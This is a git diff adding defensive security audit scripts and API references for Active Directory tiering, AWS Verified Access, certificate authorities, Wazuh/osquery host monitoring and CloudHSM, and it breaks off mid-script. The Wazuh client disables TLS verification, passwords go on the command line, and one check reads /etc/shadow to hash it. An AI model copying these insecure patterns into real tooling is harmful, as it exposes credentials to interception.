b/skills/configuring-active-directory-tiered-model/scripts/agent.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +"""Active Directory tiered administration model audit agent using ldap3.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import ldap3 + from ldap3 import Server, Connection, ALL, NTLM +except ImportError: + print("Install: pip install ldap3") + sys.exit(1) + + +TIER_DEFINITIONS = { + "Tier 0": { + "description": "Domain controllers, AD admin accounts, PKI, ADFS", + "groups": ["Domain Admins", "Enterprise Admins", "Schema Admins", + "Administrators", "Account Operators", "Backup Operators"], + }, + "Tier 1": { + "description": "Member servers, server admin accounts, applications", + "groups": ["Server Operators", "Print Operators"], + }, + "Tier 2": { + "description": "Workstations, standard user accounts, help desk", + "groups": ["Help Desk", "Workstation Admins"], + }, +} + + +def audit_tier0_accounts(conn, base_dn): + """Audit Tier 0 privileged accounts.""" + findings = [] + for group_name in TIER_DEFINITIONS["Tier 0"]["groups"]: + conn.search(base_dn, f"(&(objectClass=group)(cn={group_name}))", + attributes=["member"]) + for entry in conn.entries: + members = entry.member.values if hasattr(entry.member, 'values') else [] + for member_dn in members: + conn.search(member_dn, "(objectClass=*)", + attributes=["sAMAccountName", "lastLogonTimestamp", + "userAccountControl", "adminCount"]) + for user in conn.entries: + uac = int(str(user.userAccountControl)) if hasattr(user, 'userAccountControl') else 0 + findings.append({ + "account": str(user.sAMAccountName), + "group": group_name, + "tier": "Tier 0", + "password_never_expires": bool(uac & 0x10000), + "account_disabled": bool(uac & 0x2), + "admin_count": True, + }) + return findings + + +def check_tier_violations(conn, base_dn): + """Check for cross-tier privilege violations.""" + violations = [] + conn.search(base_dn, + "(&(objectClass=user)(adminCount=1)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))", + attributes=["sAMAccountName", "memberOf", "lastLogon"]) + for entry in conn.entries: + groups = entry.memberOf.values if hasattr(entry.memberOf, 'values') else [] + tier0 = any("Domain Admins" in str(g) or "Enterprise Admins" in str(g) for g in groups) + tier1 = any("Server" in str(g) for g in groups) + if tier0 and tier1: + violations.append({ + "account": str(entry.sAMAccountName), + "violation": "Account spans Tier 0 and Tier 1", + "severity": "CRITICAL", + "recommendation": "Create separate accounts per tier", + }) + return violations + + +def check_paw_compliance(conn, base_dn): + """Check for Privileged Access Workstation (PAW) deployment indicators.""" + conn.search(base_dn, + "(&(objectClass=computer)(cn=PAW*))", + attributes=["cn", "operatingSystem", "lastLogonTimestamp"]) + paws = [{"name": str(e.cn), "os": str(e.operatingSystem)} for e in conn.entries] + return { + "paw_count": len(paws), + "paws": paws, + "compliant": len(paws) > 0, + "recommendation": "Deploy PAWs for all Tier 0 admin accounts" if not paws else "PAWs detected", + } + + +def run_audit(server_ip, domain, username, password): + """Execute AD tiered model audit.""" + server = Server(server_ip, get_info=ALL) + conn = Connection(server, user=f"{domain}\\{username}", password=password, + authentication=NTLM, auto_bind=True) + base_dn = ",".join([f"DC={p}" for p in domain.split(".")]) + + print(f"\n{'='*60}") + print(f" AD TIERED ADMINISTRATION MODEL AUDIT") + print(f" Domain: {domain}") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + accounts = audit_tier0_accounts(conn, base_dn) + print(f"--- TIER 0 ACCOUNTS ({len(accounts)}) ---") + for a in accounts[:15]: + flags = [] + if a["password_never_expires"]: + flags.append("PWD_NEVER_EXPIRES") + print(f" {a['account']} in {a['group']} {' '.join(flags)}") + + violations = check_tier_violations(conn, base_dn) + print(f"\n--- TIER VIOLATIONS ({len(violations)}) ---") + for v in violations: + print(f" [{v['severity']}] {v['account']}: {v['violation']}") + + paw = check_paw_compliance(conn, base_dn) + print(f"\n--- PAW COMPLIANCE ---") + print(f" PAWs found: {paw['paw_count']}") + print(f" Compliant: {paw['compliant']}") + + conn.unbind() + return {"tier0_accounts": accounts, "violations": violations, "paw": paw} + + +def main(): + parser = argparse.ArgumentParser(description="AD Tiered Model Audit Agent") + parser.add_argument("--server", required=True, help="Domain controller IP") + parser.add_argument("--domain", required=True, help="AD domain name") + parser.add_argument("--username", required=True, help="Admin username") + parser.add_argument("--password", required=True, help="Admin password") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.server, args.domain, args.username, args.password) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-aws-verified-access-for-ztna/LICENSE b/skills/configuring-aws-verified-access-for-ztna/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-aws-verified-access-for-ztna/LICENSE +++ b/skills/configuring-aws-verified-access-for-ztna/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-aws-verified-access-for-ztna/references/api-reference.md b/skills/configuring-aws-verified-access-for-ztna/references/api-reference.md new file mode 100644 index 00000000..8e7c15be --- /dev/null +++ b/skills/configuring-aws-verified-access-for-ztna/references/api-reference.md @@ -0,0 +1,46 @@ +# AWS Verified Access ZTNA — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| boto3 | `pip install boto3` | AWS SDK — EC2 Verified Access API | + +## Key boto3 EC2 Methods + +| Method | Description | +|--------|-------------| +| `describe_verified_access_instances()` | List VA instances | +| `describe_verified_access_groups()` | List VA groups with policies | +| `describe_verified_access_endpoints()` | List VA application endpoints | +| `describe_verified_access_trust_providers()` | List identity/device trust providers | +| `create_verified_access_instance()` | Create new VA instance | +| `create_verified_access_group(VerifiedAccessInstanceId=)` | Create group under instance | +| `create_verified_access_endpoint()` | Expose application via VA | +| `modify_verified_access_group_policy()` | Update Cedar policy document | + +## Cedar Policy Language + +```cedar +permit(principal, action, resource) +when { + context.identity.groups has "engineering" && + context.identity.email.address like "*@company.com" && + context.device.status == "compliant" +}; +``` + +## Trust Provider Types + +| Type | Description | +|------|-------------| +| user / iam-identity-center | AWS IAM Identity Center OIDC | +| user / oidc | Third-party OIDC provider | +| device / jamf | Jamf device trust | +| device / crowdstrike | CrowdStrike device posture | + +## External References + +- [AWS Verified Access Docs](https://docs.aws.amazon.com/verified-access/) +- [Cedar Policy Language](https://www.cedarpolicy.com/en) +- [boto3 EC2 Verified Access](https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2/client/describe_verified_access_instances.html) diff --git a/skills/configuring-aws-verified-access-for-ztna/scripts/agent.py b/skills/configuring-aws-verified-access-for-ztna/scripts/agent.py new file mode 100644 index 00000000..c3ad9f8b --- /dev/null +++ b/skills/configuring-aws-verified-access-for-ztna/scripts/agent.py @@ -0,0 +1,134 @@ +#!/usr/bin/env python3 +"""AWS Verified Access ZTNA configuration agent using boto3.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + print("Install: pip install boto3") + sys.exit(1) + + +def list_verified_access_instances(session): + """List all Verified Access instances.""" + ec2 = session.client("ec2") + response = ec2.describe_verified_access_instances() + instances = [] + for inst in response.get("VerifiedAccessInstances", []): + instances.append({ + "id": inst["VerifiedAccessInstanceId"], + "description": inst.get("Description", ""), + "creation_time": str(inst.get("CreationTime", "")), + "trust_providers": [tp["VerifiedAccessTrustProviderId"] + for tp in inst.get("VerifiedAccessTrustProviders", [])], + }) + return instances + + +def list_verified_access_groups(session): + """List Verified Access groups and their policies.""" + ec2 = session.client("ec2") + response = ec2.describe_verified_access_groups() + groups = [] + for grp in response.get("VerifiedAccessGroups", []): + groups.append({ + "id": grp["VerifiedAccessGroupId"], + "instance_id": grp.get("VerifiedAccessInstanceId", ""), + "description": grp.get("Description", ""), + "policy_enabled": grp.get("PolicyEnabled", False), + "policy_document": grp.get("PolicyDocument", ""), + }) + return groups + + +def list_verified_access_endpoints(session): + """List Verified Access endpoints.""" + ec2 = session.client("ec2") + response = ec2.describe_verified_access_endpoints() + endpoints = [] + for ep in response.get("VerifiedAccessEndpoints", []): + endpoints.append({ + "id": ep["VerifiedAccessEndpointId"], + "group_id": ep.get("VerifiedAccessGroupId", ""), + "type": ep.get("EndpointType", ""), + "domain": ep.get("DomainCertificateArn", ""), + "status": ep.get("Status", {}).get("Code", ""), + "application_domain": ep.get("ApplicationDomain", ""), + }) + return endpoints + + +def audit_trust_providers(session): + """Audit Verified Access trust providers.""" + ec2 = session.client("ec2") + response = ec2.describe_verified_access_trust_providers() + providers = [] + for tp in response.get("VerifiedAccessTrustProviders", []): + providers.append({ + "id": tp["VerifiedAccessTrustProviderId"], + "type": tp.get("TrustProviderType", ""), + "user_trust_type": tp.get("UserTrustProviderType", ""), + "device_trust_type": tp.get("DeviceTrustProviderType", ""), + "policy_reference": tp.get("PolicyReferenceName", ""), + }) + return providers + + +def run_audit(profile=None, region="us-east-1"): + """Execute AWS Verified Access audit.""" + session = boto3.Session(profile_name=profile, region_name=region) + print(f"\n{'='*60}") + print(f" AWS VERIFIED ACCESS ZTNA AUDIT") + print(f" Region: {region}") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + instances = list_verified_access_instances(session) + print(f"--- INSTANCES ({len(instances)}) ---") + for i in instances: + print(f" {i['id']}: {i['description']} (providers: {len(i['trust_providers'])})") + + providers = audit_trust_providers(session) + print(f"\n--- TRUST PROVIDERS ({len(providers)}) ---") + for p in providers: + print(f" {p['id']}: type={p['type']} user={p['user_trust_type']} device={p['device_trust_type']}") + + groups = list_verified_access_groups(session) + print(f"\n--- GROUPS ({len(groups)}) ---") + for g in groups: + status = "ENABLED" if g["policy_enabled"] else "DISABLED" + print(f" {g['id']}: policy={status}") + + endpoints = list_verified_access_endpoints(session) + print(f"\n--- ENDPOINTS ({len(endpoints)}) ---") + for e in endpoints: + print(f" {e['id']}: {e['application_domain']} ({e['status']})") + + return {"instances": instances, "providers": providers, "groups": groups, "endpoints": endpoints} + + +def main(): + parser = argparse.ArgumentParser(description="AWS Verified Access ZTNA Agent") + parser.add_argument("--profile", help="AWS CLI profile") + parser.add_argument("--region", default="us-east-1", help="AWS region") + parser.add_argument("--audit", action="store_true", help="Run full audit") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + if args.audit: + report = run_audit(args.profile, args.region) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-certificate-authority-with-openssl/LICENSE b/skills/configuring-certificate-authority-with-openssl/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-certificate-authority-with-openssl/LICENSE +++ b/skills/configuring-certificate-authority-with-openssl/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-certificate-authority-with-openssl/references/api-reference.md b/skills/configuring-certificate-authority-with-openssl/references/api-reference.md new file mode 100644 index 00000000..3ff6e830 --- /dev/null +++ b/skills/configuring-certificate-authority-with-openssl/references/api-reference.md @@ -0,0 +1,44 @@ +# Certificate Authority with OpenSSL — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| cryptography | `pip install cryptography` | X.509 certificate generation, parsing, and validation | +| pyOpenSSL | `pip install pyOpenSSL` | OpenSSL wrapper for certificate operations | + +## Key cryptography Methods + +| Method | Description | +|--------|-------------| +| `x509.CertificateBuilder()` | Build X.509 certificates | +| `rsa.generate_private_key(65537, key_size)` | Generate RSA private key | +| `x509.load_pem_x509_certificate(data)` | Parse PEM certificate | +| `cert.subject.rfc4514_string()` | Get subject as RFC 4514 string | +| `x509.random_serial_number()` | Generate unique serial number | + +## OpenSSL CLI Commands + +| Command | Purpose | +|---------|---------| +| `openssl req -x509 -newkey rsa:4096 -sha256 -days 3650` | Create self-signed CA | +| `openssl req -new -key server.key -out server.csr` | Generate CSR | +| `openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key` | Sign certificate | +| `openssl verify -CAfile ca.crt server.crt` | Verify certificate chain | +| `openssl x509 -in cert.pem -text -noout` | Display certificate details | + +## Certificate Best Practices + +| Parameter | Recommended Value | +|-----------|-------------------| +| Root CA Key Size | RSA 4096 or EC P-384 | +| Server Key Size | RSA 2048+ or EC P-256 | +| Signature Algorithm | SHA-256 or SHA-384 | +| Root CA Validity | 10-20 years | +| Server Cert Validity | 1 year (398 days max for public) | + +## External References + +- [cryptography.io X.509 Docs](https://cryptography.io/en/latest/x509/) +- [OpenSSL Cookbook](https://www.feistyduck.com/library/openssl-cookbook/) +- [RFC 5280 X.509 PKI](https://datatracker.ietf.org/doc/html/rfc5280) diff --git a/skills/configuring-certificate-authority-with-openssl/scripts/agent.py b/skills/configuring-certificate-authority-with-openssl/scripts/agent.py new file mode 100644 index 00000000..0cb2c4a8 --- /dev/null +++ b/skills/configuring-certificate-authority-with-openssl/scripts/agent.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +"""Certificate Authority management agent using OpenSSL and cryptography library.""" + +import json +import sys +import argparse +import subprocess +from datetime import datetime + +try: + from cryptography import x509 + from cryptography.x509.oid import NameOID + from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives.asymmetric import rsa + from datetime import timedelta +except ImportError: + print("Install: pip install cryptography") + sys.exit(1) + + +def generate_ca_certificate(cn="Internal Root CA", org="Organization", days=3650): + """Generate a self-signed root CA certificate.""" + key = rsa.generate_private_key(public_exponent=65537, key_size=4096) + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.COMMON_NAME, cn), + x509.NameAttribute(NameOID.ORGANIZATION_NAME, org), + ]) + cert = (x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(issuer) + .public_key(key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(datetime.utcnow()) + .not_valid_after(datetime.utcnow() + timedelta(days=days)) + .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True) + .add_extension(x509.KeyUsage(digital_signature=True, key_cert_sign=True, + crl_sign=True, content_commitment=False, + key_encipherment=False, data_encipherment=False, + key_agreement=False, encipher_only=False, + decipher_only=False), critical=True) + .sign(key, hashes.SHA256())) + return cert, key + + +def generate_server_cert(ca_cert, ca_key, cn, san_names, days=365): + """Generate a server certificate signed by the CA.""" + key = rsa.generate_private_key(public_exponent=65537, key_size=2048) + subject = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)]) + san = x509.SubjectAlternativeName([x509.DNSName(n) for n in san_names]) + cert = (x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(ca_cert.subject) + .public_key(key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(datetime.utcnow()) + .not_valid_after(datetime.utcnow() + timedelta(days=days)) + .add_extension(san, critical=False) + .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True) + .sign(ca_key, hashes.SHA256())) + return cert, key + + +def audit_certificate(cert_path): + """Audit an existing certificate for security issues.""" + with open(cert_path, "rb") as f: + cert_data = f.read() + cert = x509.load_pem_x509_certificate(cert_data) + issues = [] + if cert.public_key().key_size < 2048: + issues.append({"issue": "Weak key size", "severity": "HIGH", + "detail": f"Key size {cert.public_key().key_size} < 2048"}) + if cert.not_valid_after_utc.replace(tzinfo=None) < datetime.utcnow(): + issues.append({"issue": "Certificate expired", "severity": "CRITICAL", + "detail": f"Expired on {cert.not_valid_after_utc}"}) + days_remaining = (cert.not_valid_after_utc.replace(tzinfo=None) - datetime.utcnow()).days + if 0 < days_remaining < 30: + issues.append({"issue": "Certificate expiring soon", "severity": "HIGH", + "detail": f"{days_remaining} days remaining"}) + sig_algo = cert.signature_hash_algorithm + if sig_algo and sig_algo.name in ("sha1", "md5"): + issues.append({"issue": f"Weak signature algorithm: {sig_algo.name}", "severity": "HIGH"}) + return { + "subject": cert.subject.rfc4514_string(), + "issuer": cert.issuer.rfc4514_string(), + "not_before": str(cert.not_valid_before_utc), + "not_after": str(cert.not_valid_after_utc), + "key_size": cert.public_key().key_size, + "serial": cert.serial_number, + "issues": issues, + } + + +def run_audit(cert_path=None, generate=False, cn=None, org=None): + """Execute CA operations.""" + print(f"\n{'='*60}") + print(f" CERTIFICATE AUTHORITY AGENT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + if cert_path: + info = audit_certificate(cert_path) + print(f"--- CERTIFICATE AUDIT ---") + print(f" Subject: {info['subject']}") + print(f" Issuer: {info['issuer']}") + print(f" Valid: {info['not_before']} to {info['not_after']}") + print(f" Key Size: {info['key_size']}") + print(f" Issues: {len(info['issues'])}") + for i in info["issues"]: + print(f" [{i['severity']}] {i['issue']}: {i.get('detail', '')}") + return info + + if generate: + cert, key = generate_ca_certificate(cn=cn or "Internal Root CA", org=org or "Org") + print(f"--- CA CERTIFICATE GENERATED ---") + print(f" Subject: {cert.subject.rfc4514_string()}") + print(f" Serial: {cert.serial_number}") + return {"status": "generated", "subject": cert.subject.rfc4514_string()} + + return {} + + +def main(): + parser = argparse.ArgumentParser(description="Certificate Authority Agent") + parser.add_argument("--audit", help="Path to PEM certificate to audit") + parser.add_argument("--generate", action="store_true", help="Generate new CA") + parser.add_argument("--cn", help="Common name for CA cert") + parser.add_argument("--org", help="Organization name") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.audit, args.generate, args.cn, args.org) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-host-based-intrusion-detection/LICENSE b/skills/configuring-host-based-intrusion-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-host-based-intrusion-detection/LICENSE +++ b/skills/configuring-host-based-intrusion-detection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-host-based-intrusion-detection/references/api-reference.md b/skills/configuring-host-based-intrusion-detection/references/api-reference.md new file mode 100644 index 00000000..03c10af8 --- /dev/null +++ b/skills/configuring-host-based-intrusion-detection/references/api-reference.md @@ -0,0 +1,47 @@ +# Host-Based Intrusion Detection — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | Wazuh REST API client | +| osquery | Binary install | SQL-based host inspection | +| hashlib | stdlib | File integrity hash computation | + +## Wazuh API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/security/user/authenticate` | Obtain JWT token | +| GET | `/agents` | List managed agents | +| GET | `/agents/{id}` | Agent details | +| GET | `/sca/{agent_id}` | Security Configuration Assessment results | +| GET | `/rootcheck/{agent_id}` | Rootkit check results | +| GET | `/alerts` | Query security alerts | +| GET | `/rules` | List detection rules | + +## Key osquery Tables + +| Table | Description | +|-------|-------------| +| `processes` | Running processes with user, path, cmdline | +| `listening_ports` | Open network ports and bound processes | +| `users` | System user accounts | +| `file` | File metadata and hashes | +| `suid_bin` | SUID/SGID binaries | +| `crontab` | Scheduled cron jobs | + +## OSSEC Rule IDs + +| Rule ID Range | Category | +|---------------|----------| +| 500-599 | File integrity monitoring | +| 5700-5799 | SSH authentication | +| 18100-18199 | Linux audit events | +| 31100-31199 | Web attack detection | + +## External References + +- [Wazuh API Reference](https://documentation.wazuh.com/current/user-manual/api/reference.html) +- [osquery Schema](https://osquery.io/schema/) +- [OSSEC Rule Syntax](https://www.ossec.net/docs/syntax/head_rules.html) diff --git a/skills/configuring-host-based-intrusion-detection/scripts/agent.py b/skills/configuring-host-based-intrusion-detection/scripts/agent.py new file mode 100644 index 00000000..13f8cde0 --- /dev/null +++ b/skills/configuring-host-based-intrusion-detection/scripts/agent.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""Host-based intrusion detection agent using OSSEC/Wazuh API and osquery.""" + +import json +import sys +import argparse +import subprocess +from datetime import datetime + +try: + import requests + requests.packages.urllib3.disable_warnings() +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +class WazuhClient: + """Wazuh API client for HIDS management.""" + + def __init__(self, base_url, username, password): + self.url = base_url.rstrip("/") + self.token = self._authenticate(username, password) + + def _authenticate(self, username, password): + resp = requests.post(f"{self.url}/security/user/authenticate", + auth=(username, password), verify=False) + resp.raise_for_status() + return resp.json()["data"]["token"] + + def _get(self, endpoint, params=None): + resp = requests.get(f"{self.url}/{endpoint}", + headers={"Authorization": f"Bearer {self.token}"}, + params=params, verify=False) + resp.raise_for_status() + return resp.json() + + def list_agents(self, status=None): + params = {} + if status: + params["status"] = status + return self._get("agents", params) + + def get_agent_alerts(self, agent_id, limit=20): + return self._get(f"alerts", {"agent.id": agent_id, "limit": limit}) + + def get_sca_results(self, agent_id): + return self._get(f"sca/{agent_id}") + + def get_rootcheck(self, agent_id): + return self._get(f"rootcheck/{agent_id}") + + +def run_osquery_check(query): + """Execute osquery for host inspection.""" + cmd = ["osqueryi", "--json", query] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return json.loads(result.stdout) if result.stdout.strip() else [] + except (FileNotFoundError, json.JSONDecodeError): + return [{"error": "osquery not available"}] + + +def check_file_integrity(paths): + """Check file integrity for key system files.""" + checks = [] + import hashlib, os + for path in paths: + if os.path.exists(path): + with open(path, "rb") as f: + sha256 = hashlib.sha256(f.read()).hexdigest() + stat = os.stat(path) + checks.append({ + "path": path, + "sha256": sha256, + "size": stat.st_size, + "modified": datetime.fromtimestamp(stat.st_mtime).isoformat(), + "status": "present", + }) + else: + checks.append({"path": path, "status": "missing", "severity": "HIGH"}) + return checks + + +def run_audit(wazuh_url=None, username=None, password=None, agent_id=None): + """Execute HIDS audit.""" + print(f"\n{'='*60}") + print(f" HOST-BASED INTRUSION DETECTION AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + if wazuh_url and username and password: + client = WazuhClient(wazuh_url, username, password) + agents = client.list_agents() + data = agents.get("data", {}) + items = data.get("affected_items", []) + print(f"--- WAZUH AGENTS ({data.get('total_affected_items', 0)}) ---") + for a in items[:10]: + print(f" {a.get('name', 'N/A')} ({a.get('id', '')}): {a.get('status', '')}") + + if agent_id: + sca = client.get_sca_results(agent_id) + sca_data = sca.get("data", {}).get("affected_items", []) + print(f"\n--- SCA RESULTS (agent {agent_id}) ---") + for s in sca_data[:5]: + print(f" {s.get('name', '')}: pass={s.get('pass', 0)} fail={s.get('fail', 0)}") + + system_files = ["/etc/passwd", "/etc/shadow", "/etc/sudoers", "/etc/ssh/sshd_config"] + integrity = check_file_integrity(system_files) + print(f"\n--- FILE INTEGRITY CHECK ---") + for f in integrity: + print(f" {f['path']}: {f['status']}") + + processes = run_osquery_check("SELECT name, pid, uid FROM processes WHERE uid = 0") + print(f"\n--- ROOT PROCESSES ({len(processes)}) ---") + for p in processes[:10]: + if "error" not in p: + print(f" PID {p.get('pid', '')}: {p.get('name', '')}") + + return {"integrity": integrity, "processes": processes} + + +def main(): + parser = argparse.ArgumentParser(description="HIDS Audit Agent") + parser.add_argument("--wazuh-url", help="Wazuh API URL (https://host:55000)") + parser.add_argument("--username", help="Wazuh API username") + parser.add_argument("--password", help="Wazuh API password") + parser.add_argument("--agent-id", help="Specific agent ID to audit") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.wazuh_url, args.username, args.password, args.agent_id) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-hsm-for-key-storage/LICENSE b/skills/configuring-hsm-for-key-storage/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/configuring-hsm-for-key-storage/LICENSE +++ b/skills/configuring-hsm-for-key-storage/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/configuring-hsm-for-key-storage/references/api-reference.md b/skills/configuring-hsm-for-key-storage/references/api-reference.md new file mode 100644 index 00000000..79255021 --- /dev/null +++ b/skills/configuring-hsm-for-key-storage/references/api-reference.md @@ -0,0 +1,50 @@ +# HSM Key Storage — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| boto3 | `pip install boto3` | AWS CloudHSM and KMS API | +| python-pkcs11 | `pip install python-pkcs11` | PKCS#11 interface for HSM operations | + +## Key boto3 CloudHSMv2 Methods + +| Method | Description | +|--------|-------------| +| `describe_clusters()` | List CloudHSM clusters | +| `describe_backups()` | List cluster backups | +| `create_cluster(HsmType, SubnetIds)` | Create new cluster | +| `create_hsm(ClusterId, AvailabilityZone)` | Add HSM to cluster | +| `initialize_cluster(ClusterId, SignedCert, TrustAnchor)` | Initialize cluster | + +## Key boto3 KMS Methods (Custom Key Store) + +| Method | Description | +|--------|-------------| +| `create_custom_key_store()` | Create KMS custom key store backed by CloudHSM | +| `describe_key(KeyId)` | Get key metadata including CustomKeyStoreId | +| `create_key(Origin="AWS_CLOUDHSM", CustomKeyStoreId=)` | Create key in HSM | + +## PKCS#11 Operations + +| Function | Description | +|----------|-------------| +| `C_Initialize` | Initialize PKCS#11 library | +| `C_OpenSession` | Open session with HSM | +| `C_Login` | Authenticate with HSM PIN | +| `C_GenerateKeyPair` | Generate asymmetric key pair | +| `C_Sign / C_Verify` | Cryptographic signing operations | + +## HSM Types + +| Type | Use Case | +|------|----------| +| AWS CloudHSM | Cloud-native FIPS 140-2 Level 3 | +| Thales Luna | On-premises enterprise HSM | +| nCipher nShield | High-assurance code signing | + +## External References + +- [AWS CloudHSM Docs](https://docs.aws.amazon.com/cloudhsm/) +- [boto3 CloudHSMv2](https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/cloudhsmv2.html) +- [PKCS#11 Standard](https://docs.oasis-open.org/pkcs11/pkcs11-base/v2.40/pkcs11-base-v2.40.html) diff --git a/skills/configuring-hsm-for-key-storage/scripts/agent.py b/skills/configuring-hsm-for-key-storage/scripts/agent.py new file mode 100644 index 00000000..95c32150 --- /dev/null +++ b/skills/configuring-hsm-for-key-storage/scripts/agent.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +"""HSM key storage management agent using PKCS#11 and AWS CloudHSM.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + print("Install: pip install boto3") + sys.exit(1) + + +def list_cloudhsm_clusters(session): + """List AWS CloudHSM clusters.""" + client = session.client("cloudhsmv2") + clusters = [] + response = client.describe_clusters() + for cluster in response.get("Clusters", []): + clusters.append({ + "id": cluster["ClusterId"], + "state": cluster["State"], + "hsm_type": cluster["HsmType"], + "vpc_id": cluster.get("VpcId", ""), + "hsms": len(cluster.get("Hsms", [])), + "security_group": cluster.get("SecurityGroup", ""), + }) + return clusters + + +def list_hsm_instances(session, cluster_id): + """List HSM instances in a cluster.""" + client = session.client("cloudhsmv2") + response = client.describe_clusters(Filters={"clusterIds": [cluster_id]}) + hsms = [] + for cluster in response.get("Clusters", []): + for hsm in cluster.get("Hsms", []): + hsms.append({ + "hsm_id": hsm["HsmId"], + "az": hsm.get("AvailabilityZone", ""), + "ip": hsm.get("EniIp", ""), + "state": hsm.get("State", ""), + }) + return hsms + + +def audit_kms_keys(session): + """Audit KMS keys backed by CloudHSM custom key store.""" + kms = session.client("kms") + custom_store_keys = [] + paginator = kms.get_paginator("list_keys") + for page in paginator.paginate(): + for key in page["Keys"]: + try: + desc = kms.describe_key(KeyId=key["KeyId"]) + meta = desc["KeyMetadata"] + if meta.get("CustomKeyStoreId"): + custom_store_keys.append({ + "key_id": meta["KeyId"], + "description": meta.get("Description", ""), + "key_state": meta["KeyState"], + "key_spec": meta.get("KeySpec", ""), + "custom_store_id": meta["CustomKeyStoreId"], + "origin": meta.get("Origin", ""), + }) + except ClientError: + pass + return custom_store_keys + + +def check_cloudhsm_backup(session): + """Check CloudHSM backup status.""" + client = session.client("cloudhsmv2") + response = client.describe_backups() + backups = [] + for backup in response.get("Backups", []): + backups.append({ + "backup_id": backup["BackupId"], + "state": backup["BackupState"], + "cluster_id": backup.get("ClusterId", ""), + "create_time": str(backup.get("CreateTimestamp", "")), + }) + return sorted(backups, key=lambda x: x["create_time"], reverse=True) + + +def run_audit(profile=None, region="us-east-1"): + """Execute HSM key storage audit.""" + session = boto3.Session(profile_name=profile, region_name=region) + print(f"\n{'='*60}") + print(f" HSM KEY STORAGE AUDIT") + print(f" Region: {region}") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + clusters = list_cloudhsm_clusters(session) + print(f"--- CLOUDHSM CLUSTERS ({len(clusters)}) ---") + for c in clusters: + print(f" {c['id']}: {c['state']} ({c['hsm_type']}, {c['hsms']} HSMs)") + + for cluster in clusters: + hsms = list_hsm_instances(session, cluster["id"]) + print(f"\n--- HSMs in {cluster['id']} ({len(hsms)}) ---") + for h in hsms: + print(f" {h['hsm_id']}: {h['state']} ({h['az']}, {h['ip']})") + + keys = audit_kms_keys(session) + print(f"\n--- CUSTOM KEY STORE KEYS ({len(keys)}) ---") + for k in keys[:10]: + print(f" {k['key_id']}: {k['key_state']} ({k['key_spec']})") + + backups = check_cloudhsm_backup(session) + 